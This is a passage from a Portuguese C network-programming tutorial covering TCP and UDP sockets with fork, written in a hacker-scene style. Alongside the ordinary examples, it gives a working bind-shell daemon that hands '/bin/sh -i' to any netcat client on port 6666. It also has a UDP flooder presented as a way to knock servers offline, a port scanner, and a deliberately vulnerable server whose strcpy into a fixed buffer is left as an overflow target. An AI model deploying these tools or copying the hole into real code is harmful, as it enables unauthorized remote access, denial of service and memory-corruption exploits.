---------------------------------- EOF

Bom agora explorar é com você tutorial aqui é apenas de sockets ;)
ops: codigo do servidor vulnerável ta no fim deste paper...





----------------------------------------------------------------------

+07 Servidor e Cliente com Fork

----------------------------------------------------------------------

Continuando nossa Odisséia já enfrentamos um ciclope entendendo STREAMS 
ou seja comunicação TCP ficou faltando RAW_SOCK famoso raw sockets,DGRAM 
ou seja UDP.Mesmo tendo 3 exemplos é quero passar mais alguns problemas, 
bora fazer um servidor tipo QuestBook, ou seja cliente entra deixa uma 
mensagem e se o cliente quiser sair ele digita "exit",o nosso server vai 
poder ter no maximo 5 conexões ao mesmo tempo, para tal feito vamos usar
fork veja

---------------------------------- CODE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/wait.h>

#define PORTA 6666
#define ERRO -1
#define TAMMAX 250     //tamanho maximo da string

int main () {

 struct sockaddr_in network,local;
 int sock,
    newSock,
    resp,
    strucsize,pros;

 char msgbuffer [TAMMAX];

 if(fork() == 0){
  sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock == ERRO) {
   perror ("Socket");
   exit (0);
  }
  bzero ((char *)&local, sizeof (local));
  local.sin_family = AF_INET;
  local.sin_port = htons (PORTA);
  local.sin_addr.s_addr = INADDR_ANY;
  strucsize = sizeof (local);
  resp = bind (sock, (struct sockaddr *)&local, strucsize);

  if (resp == ERRO) {
   perror ("Bind");
   exit (0);
  }
//numero maximo de conexões agente definiu aqui
  listen (sock, 5);
 for(;;) {			
  if((newSock = accept (sock, (struct sockaddr *)&network, &strucsize))==1) {
    perror("accept");
    exit(1);
  }

  if (newSock == ERRO) {
   perror ("Accept");
   exit (0);
  } 
  if(!fork()) {
  printf ("Recebendo conexao de: %s\n", inet_ntoa (network.sin_addr));
  //permite o cliente da uma entrada e a mostra, se a entrada for exit bula o laço "for" infinito
   for (;;) {
    recv (newSock, msgbuffer, TAMMAX, 0);
    fprintf (stdout, "\nMensagem Recebida: %s\n", msgbuffer);
    if (!strcmp (msgbuffer, "exit")) break;
   }
  }
 }
 }
}


---------------------------------- EOF
explicando
função recv
Usada para receber mensagens de um socket. Sua sintaxe eh:
int recv(int Meusocket, void *buf, int len, unsigned int flags);

onde:
 Meusocket   -> é o socket para ler de outro,no caso, um socket local.
 buf         -> Aqui é o endereço da área do buffer.
 len         -> é o tamanho do buffer.
flags       -> são formados por MSG_OOB e MSG_PEEK permitindo receber dados
                 out-of-band e permitindo espiar dados que entram, 
		 consequentemente. Esta chamada deve ser usada somente com 
		 sockets do tipo SOCK_STREAM.
         MSG_OOB -> Para dados oob(out-of-band).
	 MSG_WAITALL -> Este argumento faz com que seja bloqueada a
			chegada de dados ateh que q requisicao seja
			satisfeita.
flags podem ser:
MSG_OOB, MSG_PEEK, MSG_WAITALL, MSG_ERRQUEUE, MSG_NOSIGNAL.

agora o cliente para nosso servidor 
papel dele é simples ele pega entrada  do usuario e manda para o servidor
e continua na conexão enquando não digitar "exit"

---------------------------------- CODE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/wait.h>

#define PORTA 6666
#define ERRO -1
#define TAMMAX 250     //tamanho maximo da string

main (int argc, char * * argv) {

struct sockaddr_in network;

int sock,
    newSock,
    resp,
    strucsize;

char msg [TAMMAX];

if (argc < 2) {
  printf ("Use %s <host>\n\n", argv [0]);
  exit (0);
  }

sock = socket (AF_INET, SOCK_STREAM, 0);

if (sock == ERRO) {
  perror ("Socket");
  exit (0);
  }

bzero ((char *)&network, sizeof (network));
network.sin_family = AF_INET;
network.sin_port = htons (PORTA);
network.sin_addr.s_addr = inet_addr (argv [1]);

strucsize = sizeof (network);

resp = connect (sock, (struct sockaddr *)&network, strucsize);

if (resp == ERRO) {
  perror ("Connect");
  exit (0);
  }

fprintf (stdout, "Conectado em %s\n", argv [1]);

for (;;) {
  printf ("\nMensagem: ");
   fgets(msg, sizeof(msg), stdin);
   msg[strlen(msg)-1] = '\0';
  send (sock, msg, sizeof (msg), 0);
  if (!strcmp (msg, "exit"))
     {
     exit (0);
     }
   }
}

---------------------------------- EOF

 Rode servidor num terminal , e abra dois terminais e rode 
./client ip_do_server mande mensagem pelos os dois e veja por si 
o servidor rolando no terminal em que você executou ele. as dúvidas 
geralmente vão com a prática então não fique triste se não rolar apenas
não desista,Se ajudar baixe uma musica ai do Raul Seixas chamada "tente 
outra vez" ,sempre que estou desanimado escuto esta musica abro o GDB e 
depuro o código leio um bom livro como Ansi C do K&R,dragon book entre 
outros ai, entrar no IRC e conversar com alguem que tem mais experiência
também ajuda.

----------------------------------------------------------------------

+08 Servidor de comandos e Scanner de portas

----------------------------------------------------------------------

 voltando aos exemplo de TCP com socket, um servidor de comandos não chega a ser um SSH nem tem 
senha mais ajuda a entender vamos lá, mais um exemplo com fork...


---------------------------------- CODE 
/*

GarageCode coolest things Hehehe
http://GarageCode.tk

*Function this programm
this simple Daemon Shell in C language with fork 

*tested with GCC 
 i wheel on Unix/Linux/BSD this:
    gcc -o program program.c; ./program

Author: "Cooler_"  
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2

visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix

greetz 
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.

                               ,.   |\               /|  
     today we dominate the world!!  | \\  _ ///__  // |  What i do Brain ?
           _                _       |  \\/_______\//  |   
          /~\\            //~\      |  Y |   |   ||Y  |
         |   \\          //   |     |   \|   |   |/   | 
         [    ||        ||    ]     \    |  o|o  ||  /
         ] Y  ||        ||  Y [      \__  \_--_ /___/
         |  \_|l,------.l|_/  |       /.-\(____) /--.\
         |   >'          `<   |       `--(______)----'
         \  (/~`-^____^-'~\)  /           U// U / \
          `-_>-_(@)__(@)_-<_-'            / \  / / |
              /   (__)   \               ( .) / / /
              \___/__\___/                `.`' /  \      ART and CODE by Cooler_
               /__`--'__\                  |`-'    |
            /\(__,>-~~ __)                 |       |__
         /\//\\(  `--~~ )                 _l       |--:.
         '\/  <^\      /^>               |  `   (  <   \\
              _\ >-__-< /_             ,-\  ,-~~->. \   `:.___,/
             (___\    /___)           (____/    (____)    `---'
      
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#define  LISTENQ		1		// listen() backlog 

int main (int argc, char *argv[])
{
   	int lsocket ;		//listen() 
	int csocket ;		// connect() 

	struct sockaddr_in laddr ;	// estrutura do daemon 
	struct sockaddr_in caddr ;	
	
	socklen_t len ;		
	// pid do fork
	pid_t pid ;		
	

   if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
	perror("socket error");
	return(10);
   }

   len = sizeof(laddr) ;
   memset(&laddr, 0, len) ;	
   laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
   laddr.sin_family = AF_INET ;
   laddr.sin_port = htons(6666) ;  
   if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
	perror("bind error");
	return(10);
   } 
   if(listen(lsocket, LISTENQ)) {
	perror("listen error");
	return(10);
   }

// nosso fork
   if ((pid=fork()) == -1) {
	perror("Fork #1");
	return(20);
   }
   if (pid > 0) exit(0);	
   setsid() ;				
  
   	len = sizeof(caddr);
   	if((csocket=accept(lsocket, (struct sockaddr *)&caddr, &len)) < 0) {
		perror("socket accept");
		abort();
   	}
	
	dup2(csocket,0);
	dup2(csocket,1);
	dup2(csocket,2);

	system("/bin/sh -i");
	exit(0);
}
---------------------------------- EOF

testando
no server
  gcc code code.c; ./code
no cliente "usamos o famoso netcat para entrar no servidor"
 "nc ip_servidor 6666"
BINGO!

ultimo exemplo de socket, um port scanner feito pelo "m0nad"

---------------------------------- CODE 
/*simples tcp connect scanner
por
m0nad [at] email.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
//#include <sys/socket.h>

void
erro (char *msg)
{
  perror(msg);
  exit (1);
}
void
uso (char *prog)
{
  printf ("%s ip_alvo\n", prog);
  exit (1);
}
void
inicia_alvo (struct sockaddr_in *nome, int port, char *host)
{
  nome->sin_family = AF_INET;
  nome->sin_port = htons (port);
  nome->sin_addr.s_addr = inet_addr(host);
}
int
main (int argc, char **argv)
{
  int sockfd, i, conex;
  struct sockaddr_in alvo;

  if (argc < 2) 	
    uso(*argv);
  for (i = 1; i < 65535; i++) {
    sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if ( sockfd < 0 )
      error("SOCKET:");
    inicia_alvo (&alvo, i, argv[1]);
    conex = connect (sockfd, (struct sockaddr *)&alvo, sizeof alvo);
    if ( conex == 0 ) 
      printf ("porta %d aberta\n", i);
    close (conex);
    close (sockfd);
  }

}
---------------------------------- EOF

acabamos com o clichê de estudo de sockets com este ultimo 
exemplo de STREAM vamos ver apenas mais uns assuntos importantes
antes de ir para DGRAM,UDP!




----------------------------------------------------------------------

+09 Simple socket library

----------------------------------------------------------------------

Se você quer fazer simples servidores e clientes com sockets para enviar 
mensagens, fazer portscans simples você pode desfrutar da biblioteca
"Simple socket library" vide aqui http://mysite.verizon.net/astronaut/ssl/
veja como é facil fazer um servidor e cliente;

A) O Server

        #include "sockets.h"
        Socket *srvr;
        Socket *skt;
        srvr= Sopen("srvrname","s");     /* abrindo server e chamando "srvrname" */
        skt = Saccept(srvr);             /* aceitando cliente */
        Sputs("hello client",skt);       /* mandando string para o cliente */
        Sclose(skt);                     /* fechando a conexão aceita */
        Sclose(srvr);                    /* fecha o server  */

B) O Cliente

        #include "sockets.h"
        char    buf[BUFSIZE];
        Socket *client;
        client= Sopen("srvrname","c");   /* abrindo cliente "srvrname"*/
        Sgets(buf,BUFSIZE,client);       /* pega string do server    */
        printf("server said <%s>\n",buf);/* mostra q o server mandou */
        Sclose(client);                  /* fecha socket             */

Download: http://mysite.verizon.net/astronaut/ssl/ssl-7.tar.bz2
vide sua documentação http://mysite.verizon.net/astronaut/ssl/sockets.ps

Claro que tem outras bibliotecas pelo mundo a fora,até no underground para
trabalhar com sockets para facilitar sua vida,isso ai mata o dragão que 
muitos estavam com medo...

"UNIX é basicamente um simples sistema operacional, mas você tem que ser um
 gênio para compreender a simplicidade." Dennis Ritchie



----------------------------------------------------------------------

+10 Explanação ao UDP e exemplo de Servidor e cliente

----------------------------------------------------------------------

O User Datagram Protocol (UDP) é um protocolo simples da camada de 
transporte. Ele é  descrito na RFC 768 e permite que a aplicação 
escreva um datagrama encapsulado num pacote IPv4 ou IPv6, e então
enviado ao destino. Mas não há qualquer tipo de garantia que o pacote
irá chegar ou não.

O protocolo UDP não é confiável. Caso garantias sejam necessárias, é 
preciso implementar uma série de estruturas de controle, tais como 
timeouts, retransmissões, acknowlegments, controle de fluxo, etc. 
Cada datagrama UDP tem um tamanho e pode ser considerado como um 
registro indivisível, diferentemente do TCP, que é um protocolo 
orientado a fluxos de bytes sem início e sem fim.

vou ilustrar  

    Cabecalho UDP 
        +-----------------------+-----------------------+ 
        |     Porta de origem   |   Porta de destino    |  \
        |       (16 bits)       |       (16 bits)       |   \
        +-----------------------+-----------------------+    -- 8 bytes
        |        Tamanho        |       Checksum        |   /
        |       (16 bits)       |       (16 bits)       |  /
        +-----------------------+-----------------------+ 
        |                                               |  \
       <                      Dados                      >  -- Max. 65507 bytes
        |                     (...)                     |  /    (teoricamente)
        +-----------------------------------------------+

vamos exemplos com linhas comentadas
chega de teoria e vamos a prática,vamos fazer um servidor
---------------------------------- CODE

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h> 
#include <string.h> 

#define LOCAL_SERVER_PORT 6666
#define MAX_MSG 100

int main(int argc, char *argv[]) {
  
  int sd, rc, n, cliLen;
  struct sockaddr_in cliAddr, servAddr;
  char msg[MAX_MSG];

  // criamos o socket usando SOCK_DGRAM para UDP
  sd=socket(AF_INET, SOCK_DGRAM, 0);
  if(sd<0) {
    printf("%s: cannot open socket \n",argv[0]);
    exit(1);
  }

  // bind no local
  servAddr.sin_family = AF_INET;
  servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  servAddr.sin_port = htons(LOCAL_SERVER_PORT);
  rc = bind (sd, (struct sockaddr *) &servAddr,sizeof(servAddr));
  if(rc<0) {
    printf("%s: cannot bind port number %d \n", 
	   argv[0], LOCAL_SERVER_PORT);
    exit(1);
  }

  printf("%s: waiting for data on port UDP %u\n", 
	   argv[0],LOCAL_SERVER_PORT);

  // loop infinito pra escuta
  while(1) {
    
    // buffer
    memset(msg,0x0,MAX_MSG);


    // separando dados
    cliLen = sizeof(cliAddr);
    n = recvfrom(sd, msg, MAX_MSG, 0, 
		 (struct sockaddr *) &cliAddr, &cliLen);

    if(n<0) {
      printf("%s: cannot receive data \n",argv[0]);
      continue;
    }
      
    //mostrando dados
    printf("%s: from %s:UDP%u : %s \n", 
	   argv[0],inet_ntoa(cliAddr.sin_addr),
	   ntohs(cliAddr.sin_port),msg);
    
  }

return 0;

}

---------------------------------- EOF
agora vamos ao cliente para o mesmo
---------------------------------- CODE

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h> 
#include <sys/time.h> 

#define REMOTE_SERVER_PORT 6666
#define MAX_MSG 100


int main(int argc, char *argv[]) {
  
  int sd, rc, i;
  struct sockaddr_in cliAddr, remoteServAddr;
  struct hostent *h;

  // checamos o argumento
  if(argc<3) {
    printf("usage : %s <server> <data1> ... <dataN> \n", argv[0]);
    exit(1);
  }

  // verificamos o Host
  h = gethostbyname(argv[1]);
  if(h==NULL) {
    printf("%s: unknown host '%s' \n", argv[0], argv[1]);
    exit(1);
  }

  printf("%s: sending data to '%s' (IP : %s) \n", argv[0], h->h_name,
	 inet_ntoa(*(struct in_addr *)h->h_addr_list[0]));

  remoteServAddr.sin_family = h->h_addrtype;
  memcpy((char *) &remoteServAddr.sin_addr.s_addr, 
	 h->h_addr_list[0], h->h_length);
  remoteServAddr.sin_port = htons(REMOTE_SERVER_PORT);

  // criamos nossa socket repare só o SOCK_DGRAM isso por que vamos usar UDP 
  sd = socket(AF_INET,SOCK_DGRAM,0);
  if(sd<0) {
    printf("%s: cannot open socket \n",argv[0]);
    exit(1);
  }
  
  // bind na porta
  cliAddr.sin_family = AF_INET;
  cliAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  cliAddr.sin_port = htons(0);
  
  rc = bind(sd, (struct sockaddr *) &cliAddr, sizeof(cliAddr));
  if(rc<0) {
    printf("%s: cannot bind port\n", argv[0]);
    exit(1);
  }


  // mandamos os dados
  for(i=2;i<argc;i++) {
    rc = sendto(sd, argv[i], strlen(argv[i])+1, 0, 
		(struct sockaddr *) &remoteServAddr, 
		sizeof(remoteServAddr));

    if(rc<0) {
      printf("%s: cannot send data %d \n",argv[0],i-1);
      close(sd);
      exit(1);
    }

  }
  
  return 1;

}

---------------------------------- EOF
rode os dois programas um em cada terminal veja o funcionamento
tente intender o que esta ocorrendo,não é muito dificil já que o 
mesmo esta comentado linha por linha...



----------------------------------------------------------------------

+11 Exemplo UDP Flood

----------------------------------------------------------------------

Bom UDP flood seria Denial of Service ou DoS é um ataque de negação de 
serviço. Basicamente é quando você sobrecarrega uma determinada rede a 
ponto de que ela se torne inacessível, ou seja você iria derrubar esta
rede. Você pode floodar com pacotes SYN,UDP,ACK... uma determinada 
porta a fim de derrubar a rede. no nosso caso vamos usar UDP,no IRC o 
público underground fala pacotar servidor X,assim evita falar "vamos 
floodar para derrubar tal servidor",tem outras girias como "picar o rodo
já que não deu nada",pessoal faz muito isso é pago para fazer um serviço
não conseguiu fazer nenhum estrago, então simplesmente derruba o host
Lembrando ai que ataques UDP já tem muitos routers que tem proteção para
o mesmo IPtables do Linux tem uma configuração para fazer isso o packet
filter dos *BSD também não é muito dificil,qualquer firewall da block 
neste tipo de ataque desde que seja 

configurado...

vamos ao exemplo,esta com linhas comentadas
---------------------------------- CODE
/*
GarageCode coolest things Hehehe
http://GarageCode.tk

*Function this programm
this is a UDP flooder,i make it to study  Sockets

*tested with GCC 
 i wheel on Unix/Linux/BSD this:
    gcc -o program program.c; ./program host port

Author: "Cooler_"  
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2

visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix

greetz 
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.

            ,;~;,                           
                /\_                                                    
               (  /                               
               (()|     //)                     
               | \\  ,,;;'\             GAME OVER
           __ _(  )m=(((((((((((((================--------
         /'  ' '()/~' '.(, |
      ,;(      )||     |  ~             
     ,;' \    /-(.;,   ))            
          ) / /     ) //   
         //  \\     |||   
        )_\   )_\   )_\\  

      
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define STRING "ola"
#define SIZE 50
 
int conecta(char *, short);
 
int conecta(char *server, short port) {
   struct sockaddr_in sin;
   struct hostent *host;
   int sock;
   host = gethostbyname(server);
   if (host==NULL) {
      printf(" host: %s invalido\n",server);
      exit(0);
   }
   printf("  --> pacotando %s:%d\n ", server, port);
// setamos tudo para zero velho clichê blabla
   bzero((char*) &sin,sizeof(sin));
   bcopy(host->h_addr, (char *) &sin.sin_addr, host->h_length);
   sin.sin_family = host->h_addrtype;
   sin.sin_port = htons(port);
// olhe nosso dgram
   sock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(sock,(struct sockaddr *) &sin, sizeof(sin));
   return sock;
}
 
main(int argc, char **argv) {
   int var;
   if(argc != 3) {
      fprintf(stderr, "\nUDP Flooder by Cooler_\nSiga o exemplo: %s host port\n",argv[0]);
      exit(0);
   }
   var=conecta(argv[1], atoi(argv[2]));
//loop infinito
   for(;;) {
// passamos a palavra a floodar e o seu tamanho
      send(var, STRING, SIZE, 0);
   }
}
---------------------------------- EOF
bom o assunto de UDP fica por aqui,praticamente acabou nossa aventura.




----------------------------------------------------------------------

+12 Conclusão

----------------------------------------------------------------------

Caros leitores passamos por STREAM e DGRAM as socket mais usadas 
popularmente além de ter uma torrente de exemplos neste "paper",também 
passei vários links de bibliotecas para facilitar certas tarefas não 
deixe de estuda-las pois estas bibliotecas mostradas fazem a diferença. 

Eu sei que ficou faltando muito material como ICMP e RAW Sockets,mas 
vamos deixar isso para o próxima odisséia. bom estude os manuais do seu 
sistema "man socket" aproveite que o sistema tem o código aberto caso 
use BSD,Linux,OpenSolaris para estudar os internals,converse no IRC com
bons programadores crie você mesmo seu caminho, em Português você vai
encontrar pouco material sobre o mesmo e se achar vai ser redundante. 

*caso queira estudar raw sockets
http://www.thebugmagazine.org/magazine/bug02/0x06_raw.txt
http://packetstormsecurity.nl/programming-tutorials/raw_socket.txt

	Boa Sorte !! 



----------------------------------------------------------------------

+13 Bibliografia

----------------------------------------------------------------------
http://www.br-c.org/
http://beej.us/guide/ 


----------------------------------------------------------------------

+14 Agradecimentos

----------------------------------------------------------------------
----> Pessoal do "BugSec" grupo que faço parte!
	      ,,                ,,
	    (((((             )))))
	   ((((((             ))))))
	   ((((((   Overflow  ))))))
	    (((((,e@@@@@@@@@@e,)))))
	     (((@@@@@@@@@@@@@@@@)))
	      \@@/,:::,\/,:::,\@@/
	     /@@@|:::::||:::::|@@@\
	    / @@@\':::'/\':::'/@@@ \
	   /  /@@@@@@@//\\@@@@@@@\  \
	  (  /  '@@@@@@@@@@@@@@'  \  )
	   \(     /          \     )/
	     \   (            )   / ('-.)' [Ruby](`'.) '
	          \          /    ('-.)' (`'.)[ASM] '('-.)' 
            . '  .            ('-.)' (`'.) '('-.)' (`'.) '
               ' .( '.) '[Flex+bison]('-.)' (`'.) '('-.)' (`'.) '
       _     ('-.)' (`'.) '('-.)' (`'.) '('-.)'[Emacs] (`'.) (`'.) ''
      |0|=======- -(. ')`[VIM]( .-`)(`'.) ',(-')'('-.)' (`'.) (`'.) '
   .--`+'--.  .  (' -,).(') .('-.)' (`'.) '('-.)' (`'.)(`'.) [Python]' '
   |`-----'|   (' .) - ('. )[Perl]('-.)' (`'.) '('-.)' (`'.) '(`'.) '
   |       |    . ('[PHP] `.  )('-.)' (`'.)[REGEX] '('-.)' (`'.) '
   |  ===  |       ` .  `('-.)'[C/C++] (`'.) ('-.)' (`'.) ''
   |BugSec |          ('-.)' (`'.) '('-.)[AWK]' (`'.) '
   |  ---  |
   |       |                Art by Cooler_
   |  GDB  |
   |       |
   `-.___.-'

*m0nad grande amigo e por ter me ajudado a escrever a parte de TCP e term feito 
 um scanner de portas e sempre estar me ajudando no estudo da linguagem C
*_Mlk_ grande amigo me ajuda sempre domina muito SQL injection,me dá
  dicas para xavecar mulheres bonitas
*IAK grande amigo me ajuda sempre mestre do C/C++

----> Diversos
voidpointer , edenc , ecl , isis, Cs0, muzgo , zepplin , nibbles , coracaodeleao,
6_Bl4ck9_f0x6 , d3lf0 ,f0kerDebug,Joey, Otacon_x86 , BackBone e deadside.

pessoal do BotecoUnix.com.br e compania

pessoal dos canais #c4ll,#c-br,#openbsd-br,#gentoo-br da freenode

                     .-,       .-..-.__    __
                    .'(`.-` \_.-'-./`  |\_( "\__
                 __.>\ ';  _;---,._|   / __/`'--)
                /.--.  : |/' _.--.<|  /  | |       Homenagem Especial ao Dr4k3
            _..-'    `\     /' /`  /_/ _/_/      grande Amigo desconectado em 2008
             >_.-``-. `Y  /' _;---.`|/))))      ===================================
            '` .-''. \|:  \.'   __, .-'"`
             .'--._ `-:  \/:  /'  '.\             _|_
                 /.'`\ :;   /'      `-           `-|-`
                -`    |     |                      |
                      :.; : |                  .-'~^~`-.
                      |:    |                .' _     _ `.
                      |:.   |                | |_) | |_) |
                      :. :  |                | | \ | |   |
                      .. : ;|                |   Dr4k3   |
            -."-/\\\/:::.    `\."-._'."-"_\\-|   06-08   |///."-
            " -."-.\\"-."//.-".`-."_\\-.".-\\`=.........=`//-".

------------------------------------------------------------------------------------------

Saudades dos velhos tempos em que ficava no sofa sem me preocupar com nada jogando Mega Driver
jogos como Sonic,splatterhouse,street of rage e golden axe.
ligava a TV pela manhã via desenhos como thundercats,magaiver,giraia,tartarugas ninja,he-man,
swatkats,cdz,loney tunes.depois do almoço via filmes como de volta para o futuro,um morto muito
louco,bill e teddy,noite alucinante,contos da cripta depois soltava pipa,jogava bolinhas de gude
jogava num arcade perto de casa alguns jogos antigos e pinball em fim era muito feliz me divertia 
com pouco, ó velhos tempos puros que nunca voltaram. hoje to ai na atividade estudando 
compartilhando o pouco que sei de programação...

reclamações, perguntas,oportunidades de emprego para min,freelancer,doações...
Contato: c00f3r@gmail.com

me siga no twitter e seja feliz!
http://twitter.com/unixwarrior



===========================================================================================

15 codigos externos...
lembra o programa que testei o fuzzer ai esta ele
---------------------------------- CODE servidor vulnerável

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 1024 // Tamanho do buffer de recebimento
#define BACKLOG 5       // Número de conexões na fila do servidor

/* Protótipos de funções */
/* Funções de processamento da mensagem recebida */
void process(char *buffer);
/* Função de saída em caso de erro */
void quit_with_error(char * error_message);
/* Rotina para fechamento das conexões e liberação dos sockets */
void cleanup(int socket_descriptor, int incoming_socket);

/* Ponto de entrada do programa */
int main(int argc, char *argv[]) {
        /* Descritor do socket servidor */
        int socket_descriptor = -1;
        /* Buffer de recebimento */
        char buffer[BUFFER_SIZE];
        /* Descritor do socket de conexão com cliente */
        int incoming_socket;
        /* Registro para armazenar endereço do servidor */
        struct sockaddr_in my_address;
        /* Registro para armazenar endereço do cliente */
        struct sockaddr_in their_address;
        /* Porta em que o servidor irá escutar */
        int server_port = 0;
        /* Inteiro para armazenar o número de btyes recebidos a cada chamada de read(2) */
        int message_length;
        /* Flag utilizada para ligar o reuso da porta do servidor */
        int i_want_reusable_ports = 1;
        /* Inteiro utilizado para armazenar o tamanho da estrutura sockaddr */
        int length;
        /* Inteiro utilizado para indexar o buffer de recebimento */
        int index;

        /* Checagem de parámetros do servidor */
        if (argc!=2) {
                fprintf(stderr,"Sinopse: %s <porta>\n", argv[0]);
                exit(1);
        }
        /* Obtenção da porta a partir da linha de comando */
        server_port = atoi(argv[1]);
        /* Criação de um socket TCP */
        socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);

        /* Checagem da criação do socket TCP */
        if (socket_descriptor < 0) {
                cleanup(socket_descriptor, incoming_socket);
                quit_with_error("Não foi possível abrir socket TCP.\n");
        }

        /* Ligação do reuso na porta utilizada pelo socket */
        if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1) {
                cleanup(socket_descriptor, incoming_socket);
                quit_with_error("Não foi possível tornar a porta do socket reusável.\n");
        }

        /* Montagem do registro que armazena o endereço da máquina executando o servidor */
        my_address.sin_family = AF_INET;
        my_address.sin_port = htons(server_port);
        my_address.sin_addr.s_addr = INADDR_ANY;
        memset(&(my_address.sin_zero), '0', 8);

        /* Alocação da porta fornecida para o socket servidor */
        if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) {
                cleanup(socket_descriptor, incoming_socket);
                quit_with_error("Não foi possível alocar porta para o socket.\n");
        }

        /* Socket em modo de escuta */
        if (listen(socket_descriptor, BACKLOG) == -1) {
                cleanup(socket_descriptor, incoming_socket);
                quit_with_error("Não foi possível colocar o socket em modo de escuta\n.");
        }

        length = sizeof(my_address);
        printf("Servidor vulnerável iniciado e em escuta...\n");

        /* Laço infinito em que o servidor receberá requisições */
        while (1) {
                /* Buffer de recebimento é zerado a cada nova conexão */
                for (index = 0; index < BUFFER_SIZE; index++)
                        buffer[index] = '\0';

                /* Estabelecimento de conexão com o cliente */
                if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) {
                        cleanup(socket_descriptor, incoming_socket);
                        quit_with_error("Não foi possível aceitar conexão.\n");
                }

                /* Impressão de texto de depuração */
                printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket);
                printf("Conexão a partir de %s...\n", inet_ntoa(their_address.sin_addr));
                send(incoming_socket, "Bem-vindo ao servidor vulnerável. Comporte-se...\n", 49, 0);
                index = 0;

                /* Leitura de mensagem enviada pelo cliente conectado */
                while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) {
                        index += message_length;
                        if (buffer[index - 1] == '\0')
                                break;
                }

                /* Impressão de texto de depuração */
                printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket);
                printf("Mensagem recebida: %s\n", buffer);

                /* Chamada da função de processamento da mensagem recebida */
                process(buffer);
                /* Fechamento da conexão com o cliente */
                close(incoming_socket);
        }
        /* Liberação do socket servidor */
        cleanup(socket_descriptor, incoming_socket);
        return 0;
}

/* Processamento da mensagem do cliente.  Apenas efetua cópia da string para buffer local, que poderá ser utilizado por outra thread de execução */
void process(char *buffer) {
        char local_buffer[1024];
        strcpy(local_buffer, buffer);   
}

void quit_with_error(char * error_message) {
        fprintf(stderr, "%s", error_message);
        exit(1);
}

void cleanup(int socket_descriptor, int incoming_socket) {
        if (socket_descriptor != -1)  {
                close(socket_descriptor);
                close(incoming_socket);
        }
}
---------------------------------- EOF